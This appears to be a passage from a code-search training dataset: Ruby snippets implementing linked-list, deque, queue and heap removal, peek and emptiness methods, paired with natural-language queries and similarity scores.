delete_node(list, head)\n curr = list\n while(curr.next.val != head.val)\n curr = curr.next\n end\n curr.next = head.next\n head = nil\nend", "def remove_front\n if !@head.nil?\n if @head == @tail\n temp_node = @head\n @head = nil\n @tail = nil\n\n return temp_node\n else\n temp_node = @head\n @head = @head.next\n return temp_node\n end\n else\n nil\n end\n end", "def pop\n if @head.nil?\n return false\n else \n temp = @head.value\n @head = @head.next_node\n return temp\n end\n end", "def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n @tail = @tail.prev_node\n @size -= 1\n\n # removes the same element from @head, if it was final element/node\n if empty?\n @head = nil\n else\n # send to garbage collector\n @tail.next_node = nil\n end\n\n return data\n end", "def pop\n last = find_tail.data\n node = find_before(last)\n node.next = nil\n end", "def pop\n current_node = @head\n if current_node.next_node.nil?\n @head.nil?\n else\n while current_node.next_node\n previous = current_node\n current_node = current_node.next_node\n end\n previous.next_node = nil\n end\n end", "def pop\n current_node = @head\n prev_node = nil\n while current_node.next_node\n prev_node = current_node\n current_node = current_node.next_node\n end\n @tail = prev_node\n @tail.next_node = nil unless tail.nil?\n @size -= 1\n current_node.value\n end", "def remove()\n return if @store.empty?\n \n # swap last item in heap with smallest value\n swap(0, -1)\n\n # remove smallest value\n removedNode = @store.pop\n\n # maintain heap structure\n heap_down() if @store.length > 1\n \n return removedNode.value\n end", "def remove_node_recur(head, val)\n return nil if head.nil?\n\n if head.val == val\n return remove_node_recur(head.next_node, val)\n end\n\n head.next_node = remove_node_recur(head.next_node, val)\n head\nend", "def remove_at(index)\n return nil if index < 1 || index > size\n\n node = remove_at_head if index == 1\n\n node = remove_after_head(index) if index > 1\n\n self.size -= 1\n\n node\n end", "def remove_elements(head, val)\n return nil if head.nil?\n\n dummy = ListNode.new(nil)\n dummy.next = head\n current = dummy\n\n while current.next\n if current.next.val == val\n current.next = current.next.next\n else\n current = current.next\n end\n end\n\n dummy.next\nend", "def remove_front\n if @head == nil\n return nil\n end\n front = @head\n @head = front.next\n front\n end", "def remove(value)\n current = @head\n current = current.next while current && current.value != value\n return raise \"Value not found: #{value}\" if current.nil?\n\n if current == @head\n @head = @head.next\n @head.prev = nil unless @head.nil?\n @size -= 1\n return\n end\n if current == @tail\n @tail = @tail.prev\n @tail.next = nil unless @tail.nil?\n @size -= 1\n return\n end\n current.prev.next = current.next\n current.next.prev = current.prev\n @size -= 1\n end", "def remove\n\n if @store.empty?\n raise ArgumentError, 'There are no nodes to remove'\n end\n\n # keep track of the element we're removing so we can return it\n removed = @store[0].value\n\n # swap root and last node in heap ... \n @store[0], @store[@store.length - 1] = @store[@store.length - 1], @store[0]\n\n # ... then delete last node (this is more efficient than removing first node)\n @store.delete_at(@store.length - 1)\n\n # we're done if there's only one node left after deletion\n return removed if @store.length == 1\n\n # if there's more than one node left, call the recursive heap down method to \n # re-order the remaining nodes, starting at the top\n heap_down(0)\n return removed\n\n end", "def pop\n return nil if @head.nil?\n if self.size > 1\n @tail = self.at(self.size-1) \n @tail.next = nil\n else # only 1 node\n @tail = @head = nil\n end\t\n end", "def pop\n\t\tlocation = @head.next_node\n\t\twhile location.next_node.next_node != nil\n\t\t\tlocation = location.next_node\n\t\tend\n\t\tlast = location.next_node\n\t\tlocation.next_node = nil\n\t\treturn last\n\t\tlocation = @head\n\tend", "def remove_at(index)\n if index == 0\n @head = @head.next_node\n elsif index == self.size - 1\n self.pop\n else\n previous = self.node_at(index - 1)\n current = self.node_at(index)\n previous.next_node = current.next_node\n end\n end", "def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\tp = node.prev\n\t\t\tn = node.next\n\t\t\tp&.next = n\n\t\t\tn&.prev = p\n\t\tend\n\t\tself.length -= 1\n\tend", "def ll_remove(target)\n target_node = find_node(target)\n\n if target_node == nil\n return nil\n end\n\n # if first node is being removed -> need to reset head to node \n if target_node[0] == 0\n if @num_nodes == 1\n @head = nil\n @tail = nil\n else\n @head = @head.get_Next()\n end\n # if any other node in middle\n else\n current = @head\n # find node that comes before one being deleted\n for i in (0..(target_node[0]-2))\n current = current.get_Next()\n end\n \n # if last node -> need to reset tail to node prior\n if target_node[0] == @num_nodes - 1\n current.set_Next(nil)\n @tail = current\n else\n current.set_Next(current.get_Next().get_Next())\n end\n end\n\n @num_nodes -= 1\n return target_node[1].get_Data();\n end", "def delete(value)\n return nil if @head.nil?\n\n current = @head\n\n if current.data == value\n @head = current.next\n @head.previous = nil\n return\n end\n\n until current.next.nil?\n if current.next.data == value\n temp = current.next.next\n current.next = temp\n if temp\n temp.previous = current\n end\n return\n end\n current = current.next\n end\n end", "def pop\n val = @head.next.obj\n @head.next = @head.next.next\n @head.next.prev = @head\n val\n end", "def removeHead\n if @length == 1\n @head.nextNode = nil\n @tail.val = nil\n @length = 0\n elsif @length > 1\n @head.nextNode = @head.nextNode.nextNode\n @length -= 1\n end\n end", "def pop\n\t\tif (!@head) then return nil end\n\t\ttemp = @head\n\t\t@head = @head.get_next()\n\t\tif (@head) then @head.set_prev(nil)\n\t\telse @tail = nil\n\t\tend\n\t\t@size -= 1\n\t\treturn temp.get_item()\n\tend", "def remove_tail\n if self.head == nil # does nothing to an empty list\n return nil\n end\n \n delete (self.tail) # otherwise, deletes the tail\n end", "def remove(x)\n if x == head\n self.head = head.next\n x.next = nil\n else\n\n el = head\n while el and el != x\n prev = el \n el = el.next\n end\n\n raise ListError, \"Element not found\" unless el\n\n prev.next = el.next\n el.next = nil\n end\n x\n end", "def pop\n @nodes.shift\n end", "def removed(node)\n\t\t\t@size -= 1\n\t\t\treturn node\n\t\tend", "def extract_head\r\n aux = @head.value\r\n @head = @head.next\r\n @head.prev = nil\r\n return aux\r\n end", "def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\ttmp = self.head\n\t\t\twhile tmp && tmp.next != node\n\t\t\t\ttmp = tmp.next\n\t\t\tend\n\t\t\ttmp.next = node.next if tmp\n\t\tend\n\t\tself.length -= 1\n\tend", "def del_min\n min_elt = @head.value\n @size -= 1\n if not @head.left\n @head = nil\n return min_elt\n end\n merge_pairs(@head.left)\n return min_elt\n end", "def pop\n node = @head\n if @size > 1\n node = node.link until node.link.link.nil?\n node.link = nil\n else \n @head = nil\n end\n @size -= 1\n end", "def remove_front\n @head = @head.next\n end", "def erase_head()\n aux = @head[:prev]\n aux[:next] = nil\n @head = aux\n end", "def remove_front\n node = @head\n if @head.eql?(@tail)\n @head = nil\n @tail = nil\n elsif !@head.nil?\n @head = node.next\n if @head.next.nil?\n @tail = @head\n end\n end\n return node\n end", "def pop\n # I RETURN A VALUE\n if @data != nil\n value = @data.value\n @data = @data.next_node\n return value\n end\n end", "def remove_front\n first_node = @head\n if @head === @tail\n @head = nil\n @tail = nil\n elsif @head != nil\n @head = first_node.next\n\n if @head.next.nil? #in case there were only two nodes, and we delete the first one, then new_head_node is also the tail node\n @tail = @head\n end\n end\n return first_node\n end", "def pop\n if @tail != nil\n ret = @tail\n @tail = @tail.previous\n if @tail != nil\n @tail.next_node = nil\n end\n @length -= 1\n if @head == ret\n @head = nil\n end\n return ret.value\n elsif @head\n ret = @head\n @head = nil\n @length -= 1\n return ret.value\n else\n return nil\n end\n end", "def pop\n if @tail != nil\n ret = @tail\n @tail = @tail.previous\n if @tail != nil\n @tail.next_node = nil\n end\n @length -= 1\n if @head == ret\n @head = nil\n end\n return ret.value\n elsif @head\n ret = @head\n @head = nil\n @length -= 1\n return ret.value\n else\n return nil\n end\n end", "def remove_front\n first_node = @head\n if @head === @tail\n @head = nil\n @tail = nil\n elsif !@head.nil?\n @head = first_node.next\n\n if @head.next.nil? #in case there were only two nodes, and we delete the first one, then new_head_node is also the tail node\n @tail = @head\n end\n end\n return first_node\n end", "def remove_last\n raise 'No such element' if @size == 0\n elt = @tail.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @tail = @tail.previous\n @tail.next.previous = nil\n @tail.next = nil\n end\n @size -= 1\n return elt\n end" ]
[ "0.8311415", "0.8106559", "0.7862039", "0.77952874", "0.76625776", "0.76200795", "0.76066524", "0.7597276", "0.75774556", "0.7534276", "0.75270677", "0.74867284", "0.7445589", "0.7428676", "0.74150246", "0.7396701", "0.73635495", "0.7359819", "0.7347589", "0.7334746", "0.732693", "0.7326765", "0.7310362", "0.7287967", "0.72865665", "0.72817636", "0.7277281", "0.7273982", "0.7255177", "0.72526294", "0.7231703", "0.7213006", "0.7193195", "0.7191226", "0.7187944", "0.7174437", "0.7149848", "0.7131486", "0.7108902", "0.7101318", "0.71002364", "0.71002364", "0.7082121", "0.7076698", "0.7060883", "0.7059806", "0.705472", "0.70461476", "0.70409083", "0.70394635", "0.7028451", "0.70277846", "0.70127094", "0.7007809", "0.6997477", "0.69838345", "0.6928017", "0.6914338", "0.69074214", "0.6866698", "0.6865702", "0.6858224", "0.6856286", "0.6844843", "0.6844648", "0.68364584", "0.68265766", "0.68121284", "0.6808695", "0.6805132", "0.6801696", "0.6800973", "0.68009555", "0.67968434", "0.6777844", "0.677744", "0.6767035", "0.67636514", "0.6760468", "0.6759291", "0.675833", "0.67412186", "0.67391646", "0.67273414", "0.67184675", "0.67161536", "0.67124027", "0.6707315", "0.6705", "0.6685412", "0.6671676", "0.6664778", "0.6658474", "0.66559726", "0.66227823", "0.6621025", "0.66199213", "0.66199213", "0.6615538", "0.66071063" ]
0.7544278
9
Return the first element without removing it
def peek_first raise 'No such element' if @size == 0 @head.value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def first\n @elements.empty? ? nil : @elements[0]\n end", "def remove_first\n raise 'No such element' if @size == 0\n elt = @head.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @head = @head.next\n @head.previous.next = nil\n @head.previous = nil\n end\n @size -= 1\n return elt\n end", "def first\n @ordered_elements.first\n end", "def first\n items.compact.first\n end", "def first\n self.take(1)[0]\n end", "def first\n to_a.first\n end", "def get_first_element(arr)\n return arr.first()\nend", "def first\r\n self[0]\r\n end", "def first ; list.first ; end", "def first\n self.slice(0)\n end", "def first\n all[0]\n end", "def first\n self[0]\n end", "def first\n self[0]\n end", "def get_first_element(arr)\n arr.first\nend", "def remove_first(item)\n return self.dup.tap { |s| s.remove_first!(item) }\n end", "def first() end", "def first\n @enumerable.first\n end", "def first\n limit(1).to_a.first\n end", "def first\n @current = self.head if self.head\n @current.value rescue nil\n end", "def first\n self[0]\n end", "def first!(list)\n list.last\n end", "def get_first\n return head ? head.data : nil\n end", "def first\n check_corrupted\n cache_ele if @eles.empty?\n return @eles.first\n end", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n end\n\n return data\n end", "def butfirst\n if self.empty?\n []\n else\n self[1..-1]\n end\n end", "def first\n @items.first\n end", "def caar; first.first end", "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end", "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end", "def get_first\n return @head.data if @head\n return @head\n end", "def get_first\r\n # if the list is empty, head is nil\r\n if @head.nil?\r\n return nil\r\n else \r\n value = @head.data\r\n return value\r\n end\r\n end", "def remove_first(array)\n array.delete_at(0)\n array\nend", "def first\n\n @items.values.first\n end", "def get_first\n current = @head\n return nil if current.nil?\n \n return @head.data\n end", "def get_first\n return @head ? @head.data : nil\n end", "def first_element(array)\n array[0]\nend", "def get_first\r\n return @head ? @head.data : nil\r\n end", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n else\n # send to garbage collector\n @head.prev_node = nil\n end\n\n return data\n end", "def using_first(array)\n first_element=array.first\nend", "def get_first\n @head == nil ? nil : @head.data\n end", "def first(arr)\n return arr[0]\nend", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n\n wi(fetch_all({}).first)\n end", "def first_element_child\n n = self.first_child\n while n do\n if n.node_type == ELEMENT_NODE then\n break\n end\n n = n.next_sibling\n end\n return n\n end", "def retrieve_first_element_from_array(array)\n array.first\nend", "def first\n if @prv\n @prv.first\n else\n self\n end\n end", "def peek\n raise 'No such element' if @elements.length == 0\n @elements[-1]\n end", "def list_first(list)\n list.head.data unless list.head.nil?\nend", "def first\n\t\t\tarray = pop\n\t\t\traise ArgumentError, \"FIRST: first element is not an Array.\" unless array.is_a? Array\n\t\t\traise ArgumentError, \"FIRST: empty array.\" if array.length == 0\n\t\t\tpush array.first\n\t\tend", "def get_first\n @head.nil? ? nil : @head.data\n end", "def first_item\n items.first\n end", "def get_first\n return nil if head.nil?\n return head.data\n end", "def first\n # return value if head node is set\n if !@head.nil?\n @head.value\n else\n # otherwise raise an exception\n raise \"List is empty\"\n end\n end", "def first(n = 1)\n return self.clone if n >= self.size\n return self[0] if n == 1\n return self[0...n]\n end", "def first\n @children[0]\n end", "def first_of(arr)\n return arr[0]\nend", "def first_of(arr)\n return arr[0]\nend", "def first_of(arr)\n return arr[0]\nend", "def custom_first(arr, num_of_elements = 0)\n return arr[0] if num_of_elements == 0\n arr[0, num_of_elements]\nend", "def get_first\n return @head.nil? ? nil : @head.data\n end", "def get_first\n return @head.nil? ? nil : @head.data\n end", "def get_first_point\n @points.each do |pt|\n @points.delete(pt)\n return pt\n end\n end", "def first_only\n lambda do |rec, acc|\n # kind of esoteric, but slice used this way does mutating first, yep\n acc.slice!(1, acc.length)\n end\n end", "def first_of(array)\n output = array[0]\n return output\nend", "def retrieve_first_element_from_array(array)\n return array[0]\nend", "def first_ele(class_name)\n ele_index class_name, 1\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def first\n all.first\n end", "def get_first\n if @head == nil\n return nil\n else\n return @head.data\n end\n end", "def first_of(array)\n return array[0]\nend", "def first_of(array)\n return array[0]\nend", "def get_first\n return nil if !@head\n return @head.data\n end", "def get_first\n return @head if @head.nil?\n\n return @head.data\n end", "def retrieve_first_element_from_array(array)\n array[0]\nend", "def first\n return @front.head unless @front.empty?\n @rear.last # memoize?\n end", "def using_first(array)\narray.first\nend", "def first\n @head.lru_next\n end", "def first\n @poss[0]\n end", "def using_first(array)\n array.first\nend", "def using_first(array)\n array.first\nend", "def using_first(array)\n array.first\nend", "def using_first(array)\n array.first\nend", "def get_first\n return nil if @head.nil?\n return @head.data\n end", "def first!\n fail_not_found_if_nil(first)\n end", "def first\n all.first\n end", "def get_first\n \n return nil if @head.nil?\n return @head.data\n \n end", "def first\n\t\traise \"ContainerEmpty\" if @head.nil?\n\t\t@head\n\tend", "def pop\n raise 'No such element' if @elements.length == 0\n @elements.slice!(-1)\n end", "def get_first\n return nil if @head.nil?\n\n return @head.data\n end", "def get_first\n return nil if @head.nil?\n\n return @head.data\n end", "def head\n ->(xs) { xs[0] }\n end", "def peek()\n if @items.empty?\n return nil\n end\n return @items[-1]\n end", "def get_first\r\n if @head \r\n return @head.data\r\n else \r\n return nil\r\n end\r\n end", "def getMin()\n element=@store[1]\n\n #copy last element to the first...\n @store[1]=@store[@store.length-1]\n @store.delete_at(@store.length-1) #delete the last element \n\n #We need to restore the Heap Structure if altered\n heapify(1)\n return element\n end", "def first_element(my_first_element)\n my_first_element = @taylor_swift[1-1]\nend", "def first\n @head.val\n end" ]
[ "0.8110836", "0.76667196", "0.76622605", "0.76447797", "0.7541724", "0.7410077", "0.7369735", "0.73661494", "0.7344158", "0.7320723", "0.7298379", "0.72421014", "0.72421014", "0.72261304", "0.71881384", "0.71868694", "0.7156937", "0.71438116", "0.71323836", "0.7078111", "0.7073125", "0.7061409", "0.7028766", "0.6985785", "0.6960275", "0.69514376", "0.6928784", "0.69232124", "0.69232124", "0.69224656", "0.69206136", "0.6889492", "0.68789446", "0.6876541", "0.6874789", "0.68736243", "0.68543094", "0.685106", "0.6843518", "0.68178284", "0.6788871", "0.6779739", "0.6779739", "0.6779739", "0.6779739", "0.6778418", "0.6753494", "0.6752175", "0.67495066", "0.67336243", "0.67323864", "0.67303586", "0.672943", "0.6727761", "0.67229366", "0.67125404", "0.67077434", "0.67068875", "0.67014897", "0.67014897", "0.67014897", "0.6687473", "0.6683457", "0.6683457", "0.66673195", "0.66650045", "0.66617334", "0.66611373", "0.66497046", "0.6647602", "0.6647602", "0.6647602", "0.6644244", "0.6627964", "0.6627964", "0.6618258", "0.66175133", "0.6616206", "0.6611747", "0.660757", "0.66025907", "0.6597372", "0.65930176", "0.65930176", "0.65930176", "0.65930176", "0.65819925", "0.65817827", "0.65773565", "0.65724105", "0.656958", "0.6559043", "0.6556796", "0.6556796", "0.6555525", "0.65550435", "0.65540475", "0.6540977", "0.65280026", "0.6516325" ]
0.7434083
5
Return the last element without removing it
def peek_last raise 'No such element' if @size == 0 @tail.value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def last\n all[all.size - 1]\n end", "def last\n @ordered_elements.last\n end", "def last\n self.slice(self.size - 1)\n end", "def remove_last\n raise 'No such element' if @size == 0\n elt = @tail.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @tail = @tail.previous\n @tail.next.previous = nil\n @tail.next = nil\n end\n @size -= 1\n return elt\n end", "def last\r\n self[-1]\r\n end", "def last\n out = nil\n\n each {|i| out = i }\n\n out\n end", "def get_last_item(arr)\n\treturn arr[-1]\nend", "def last\n self[-1]\n end", "def last\n at(-1)\n end", "def get_last\n return nil if @head.nil?\n return get_last_helper(@head)\n end", "def last\n list = self\n list = list.tail until list.tail.empty?\n list.head\n end", "def last\n items.compact.last\n end", "def last\n self[-1]\n end", "def last\n to_a.last\n end", "def lastElement(arr)\n return arr[arr.length - 1]\nend", "def butlast\n if self.empty?\n []\n else\n self[0..-2]\n end\n end", "def lastElement\n return @stk[@count]\n end", "def last\n list.first\n end", "def get_last\r\n return unless @head\r\n \r\n last = @head\r\n last = last.next until last.next.nil?\r\n last.data\r\n end", "def last(list)\n list[-1]\nend", "def get_last\n if length == 0\n return nil?\n elsif length == 1\n return @head.data\n else\n current = @head\n (length - 1).times do\n current = current.next\n end\n return current.data\n end\n end", "def last_element(array)\n array[-1]\nend", "def remove_last_child\n @elements.pop\n end", "def last_of(arr)\n output = arr[-1]\n return output\nend", "def get_last\n return @tail ? @tail.data : nil\n end", "def using_last(array)\n last_element=array.last\nend", "def remove_retrieve_last\n # @array.pop\n @array.slice!(0)\n end", "def last() end", "def last\n contents[contents.size - 1]\n end", "def get_last\n return nil if @head.nil?\n current = @head\n until current.next.nil?\n current = current.next\n end\n return current.data\n end", "def get_last\n return if @head == nil\n\n current = @head\n\n until current.next.nil?\n current = current.next\n end\n\n return current.data\n end", "def get_last\n # return nil unless @head\n if @head == nil\n return nil\n end\n current = @head\n while !current.next.nil?\n current = current.next\n end\n \n return current.data\n end", "def lastof(arr)\n return arr[arr.length - 1]\nend", "def last\n @collection.size - 1\n end", "def get_last\n return nil if @head.nil?\n\n current = @head\n\n until current.next.nil?\n current = current.next\n end\n\n return current.data\n end", "def get_last\n return nil if !@head\n current = @head\n while current.next\n current = current.next\n end\n return current.data\n end", "def using_last(array)\n array.last\n# returns last item in array \nend", "def last_of(arr)\n return arr[-1]\nend", "def get_last\n return nil unless @head\n current = @head\n\n while current.next\n current = current.next\n end\n\n return current.data\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def last\n all.last\n end", "def retrieve_last_element_from_array(array)\n return array[-1]\nend", "def last\n @tail\n end", "def last\n @enumerable.last\n end", "def last\n all.last\n end", "def last(array)\n array[-1]\nend", "def get_last\n return nil if @head.nil? \n pointer = @head\n\n until pointer.next.nil?\n pointer = pointer.next\n end\n return pointer.data\n end", "def getLastNode #not counting the sentinel node\n\tunless (@size == 0)\n\t\treturn @last.prev\n\telse\n\t\treturn nil\n\tend\nend", "def last_of(arr)\n return arr[arr.length-1]\nend", "def last\n @tail.val\n end", "def last\n self.each {|node| return node if node.next_node == nil}\n end", "def last\n return @rear.head unless @rear.empty?\n @front.last # memoize?\n end", "def get_last\n # return nil unless @head\n if @head == nil\n return nil\n end\n current = @head\n while current.next != nil \n current = current.next\n end\n return current.data\n end", "def last_of(array)\n return array[-1]\nend", "def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end", "def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end", "def retrieve_last_element_from_array(array)\n array[array.length-1]\nend", "def get_last\n return nil if @head.nil? \n pointer = @head \n while !pointer.next.nil?\n pointer = pointer.next\n end\n return pointer.data\n end", "def using_last(array)\narray.last\nend", "def last\n all.last\n end", "def last\n all.last\n end", "def second_last\n return nil if (size-2) < 0\n self[size-2]\n end", "def get_last\r\n return nil unless @head\r\n cursor = @head\r\n while cursor.next\r\n cursor = cursor.next\r\n end\r\n return cursor.data\r\n end", "def last_of(arr)\n index = arr.length\n return arr[index -1]\nend", "def last\n @children.last\n end", "def last\n result ? all.last : limit(1).descending.all.last\n end", "def last\n all.last\n end", "def my_but_last(array)\n\tarray.size - 1\nend", "def using_last(array)\n array.last\nend", "def using_last(array)\n array.last\nend", "def last(n = 1)\n return self.clone if n >= self.size\n return self[-1] if n == 1\n return self.reverse[0...n].reverse\n end", "def last_element_child\n n = self.last_child\n while n do\n if n.node_type == ELEMENT_NODE then\n break\n end\n n = n.previous_sibling\n end\n return n\n end", "def last\n if @nxt\n @nxt.last\n else\n self\n end\n end", "def last\n return each\n end", "def last\n \tbegin\n \t raise ArgumentError, \"Empty LinkedList\" if @size <= 0\n \t return @last.prev.data\n \t rescue\n \t puts \"Empty\" \t\t \n\t\t end\n \tend", "def retrieve_last_element_from_array(array)\n array.last\nend", "def last\n @items.last\n end", "def current_element\n @elements.last\n end", "def get_last\r\n return nil if !@head\r\n\r\n prev = nil\r\n curr = @head \r\n\r\n while curr \r\n if curr.next \r\n prev = curr\r\n curr = curr.next \r\n else \r\n return curr.data\r\n end\r\n end\r\n\r\n end", "def remove_last()\n\t\ttemp = @kb.pop\n\t\treturn !temp.nil?\n\tend", "def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n @tail = @tail.prev_node\n @size -= 1\n\n # removes the same element from @head, if it was final element/node\n if empty?\n @head = nil\n else\n # send to garbage collector\n @tail.next_node = nil\n end\n\n return data\n end", "def last\n return sync { @last }\n end", "def last\n self[*Array.new(self.dim, -1)]\n end", "def last(num = nil)\n return @all.last num if num\n @all.last\n end", "def last_element(sexp)\n if null?(sexp)\n sexp\n elsif null?(cdr(sexp))\n car(sexp)\n else\n last_element(cdr(sexp))\n end\nend", "def last\n current_thread = @sorted.last\n return nil unless current_thread\n\n current_thread = current_thread.second.last until current_thread.second.empty?\n current_thread.first\n end", "def last_of(array)\n return array[array.length - 1]\nend", "def last_of(array)\n return array[array.length - 1]\nend", "def last\n @rarray.reverse.first \n end", "def last_item(elective_array)\n return elective_array[-1]\nend", "def get_last\n return nil if @head.nil?\n return last_node.data\n end", "def last\n end", "def last(n=nil)\n return self[-1] if n.nil?\n \n start = length-n\n start = 0 if start < 0\n self[start, n]\n end", "def last\n\t\t\t@last\n\t\tend", "def last\r\n\t\t@set.last\r\n\tend", "def last\n @tail.lru_prev\n end", "def last *a; self.child(*a) + ':last-child' end", "def last_item\n @children[@items.last]\n end" ]
[ "0.80725735", "0.7964494", "0.79640603", "0.79158497", "0.7905291", "0.7895912", "0.78623027", "0.78465277", "0.7833645", "0.7832916", "0.7814255", "0.7789193", "0.7780709", "0.7772687", "0.77211624", "0.7698924", "0.7688206", "0.7605398", "0.7603993", "0.7597297", "0.7584099", "0.75833017", "0.7527425", "0.7525744", "0.75207764", "0.74477947", "0.7447567", "0.7437498", "0.74317867", "0.74127024", "0.7404632", "0.74044156", "0.7398447", "0.7394878", "0.73902005", "0.73891765", "0.7379039", "0.7363546", "0.7360938", "0.7346943", "0.7346943", "0.7346943", "0.7346943", "0.7346326", "0.73447984", "0.73423856", "0.73406374", "0.7338618", "0.7333722", "0.7332032", "0.73318386", "0.7331721", "0.7327333", "0.73107374", "0.7308736", "0.72937053", "0.7293046", "0.7293046", "0.7281596", "0.7279584", "0.72754204", "0.7266204", "0.7266204", "0.72632813", "0.7260773", "0.72597903", "0.72538406", "0.72530305", "0.72521", "0.7252055", "0.72491455", "0.72491455", "0.72452486", "0.7239797", "0.7231516", "0.7203419", "0.71981645", "0.7188876", "0.71801794", "0.71659404", "0.7165564", "0.71479917", "0.7146739", "0.71464723", "0.7142525", "0.71334016", "0.7113015", "0.71110976", "0.7096646", "0.7096646", "0.7095409", "0.70874715", "0.7087226", "0.7084785", "0.70846885", "0.7083135", "0.70780665", "0.70621943", "0.70612454", "0.70540804" ]
0.7988893
1
Is the deque empty ?
def empty? @size == 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def empty?\n @que.empty?\n end", "def empty?\n @que.empty?\n end", "def empty?\n @que.empty?\n end", "def empty?\n @que.empty?\n end", "def is_empty()\n @queue.count { _1 } == 0\n end", "def is_empty()\n @queue.size == 0\n end", "def empty?\n # @head and @tail are equal to what they were when the Queue was created\n @head == -1 and @tail == 0\n end", "def empty?\n @queue.empty?\n end", "def empty?\n @queue.empty?\n end", "def empty?\n @queue.empty?\n end", "def empty?\n @queue.empty?\n end", "def empty?\n @queue.empty?\n end", "def empty?\n\t\t@queue.empty?\n\tend", "def empty?\n self.queue_size == 0\n end", "def empty?\n @queue.empty?\n end", "def empty?\n @q.empty?\n end", "def empty()\n @queue.size == 0\n end", "def empty?\n @q.empty?\n end", "def empty?\n size == 0\n end", "def empty?\n size == 0\n end", "def empty?\n size == 0\n end", "def empty?\n self[:head] == 0\n end", "def empty?\n @size == 0\n end", "def empty?\n @size == 0\n end", "def empty?\n peek\n false\n rescue StopIteration\n true\n end", "def empty?\n size == 0\n end", "def empty?\n return @size == 0\n end", "def empty?\n @head == -1\n end", "def empty()\n @q.empty?\n end", "def empty?\n iterator.nil?\n end", "def empty?\n @mutex.synchronize do\n return @head == @tail\n end\n end", "def is_empty()\n @head == nil\n end", "def is_empty?\n size == 0\n end", "def empty?\n size.zero?\n end", "def empty?\n\t\t\tsize == 0\n\t\tend", "def empty?\n self.count == 0\n end", "def empty?\n self.count == 0\n end", "def empty?\n \n @head == nil\n end", "def empty?\n size == 0 # Equivalent to (down == self)\n end", "def empty()\n @queue.empty?\n end", "def empty?\n size.zero?\n end", "def empty?\n synchronize do\n return false if @publishing || @canceled || @stopping\n\n @items.empty? && @queue.empty?\n end\n end", "def empty?\n size == 0\n end", "def empty?\n size == 0\n end", "def empty?\n size.zero?\n end", "def empty?\n size.zero?\n end", "def empty?\n size.zero?\n end", "def empty?\n size.zero?\n end", "def empty?\n @queued.empty?\n end", "def empty?\n @size == 0\n end", "def empty?\n @size == 0\n end", "def empty()\n return @head == nil\n end", "def empty()\n return true if @head.nil?\n false\n end", "def empty?\n @head.nil?\n end", "def empty?\n return true if self.curr == 0\n false\n end", "def empty?\n @next.nil?\n end", "def empty?\n count <= 0\n end", "def full?\n # absolute value of @tail is equal to the number of slots in the queue (@size)\n @tail.abs == (@size)\n end", "def empty?\n\t\treturn size.zero?\n\tend", "def empty?\r\n @head.nil?\r\n end", "def empty?\n cardinality == 0\n end", "def empty?\n count == 0\n end", "def empty?\n count == 0\n end", "def empty?\n # raise NotImplementedError, \"Not yet implemented\"\n if size > 0\n return false\n end\n return true\n end", "def empty?\n !@first_pointer\n end", "def empty?\n @front.empty? && @rear.empty?\n end", "def empty?\r\n @head==nil ? true : false\r\n end", "def empty?\n\t\t\t@head.next == nil\n\t\tend", "def empty?\n count == 0\n end", "def is_full()\n @queue.count { _1 } == @queue.size\n end", "def is_empty?()\n (@head == nil) ? true : false\n end", "def empty?\n !@head\n end", "def empty?\n @head.nil?\n end", "def isEmpty\n @front.nil?\n end", "def empty?\n node_next(@head, 0) == @tail\n end", "def is_empty()\n @stack == []\n end", "def is_empty?\n self.size == 0\n end", "def isEmpty()\n if @head == nil\n puts \"This Queue is empty.\"\n else\n puts \"This Queue has data.\"\n end\n end", "def empty?\n # index of the last item in @store is equal to -1 (what it's equal to when Stack is created)\n @top == -1\n end", "def empty?\n @iterator.nil?\n end", "def empty?\n\t\t@head.nil?\n\tend", "def empty?\n @size.zero?\n end", "def empty?\n !node_next(@head, 0)\n end", "def empty?\n @items.count == 0\n end", "def empty?()\n return @length == 0\n end", "def empty?; size == 0 end", "def empty?\n true\n end", "def empty?\n true\n end", "def empty?\n @buffers.values.all?(&:empty?)\n end", "def queue_full?\n free_slots == 0\n end", "def de_queue\n unless is_empty\n @q[@tail] = nil\n @tail = (@tail + 1) % @size\n @openings += 1\n true\n else\n false\n end\n end", "def is_full()\n @queue.size == @size\n end", "def any?\n !@queue.empty?\n end", "def empty?\n length == 0\n end", "def 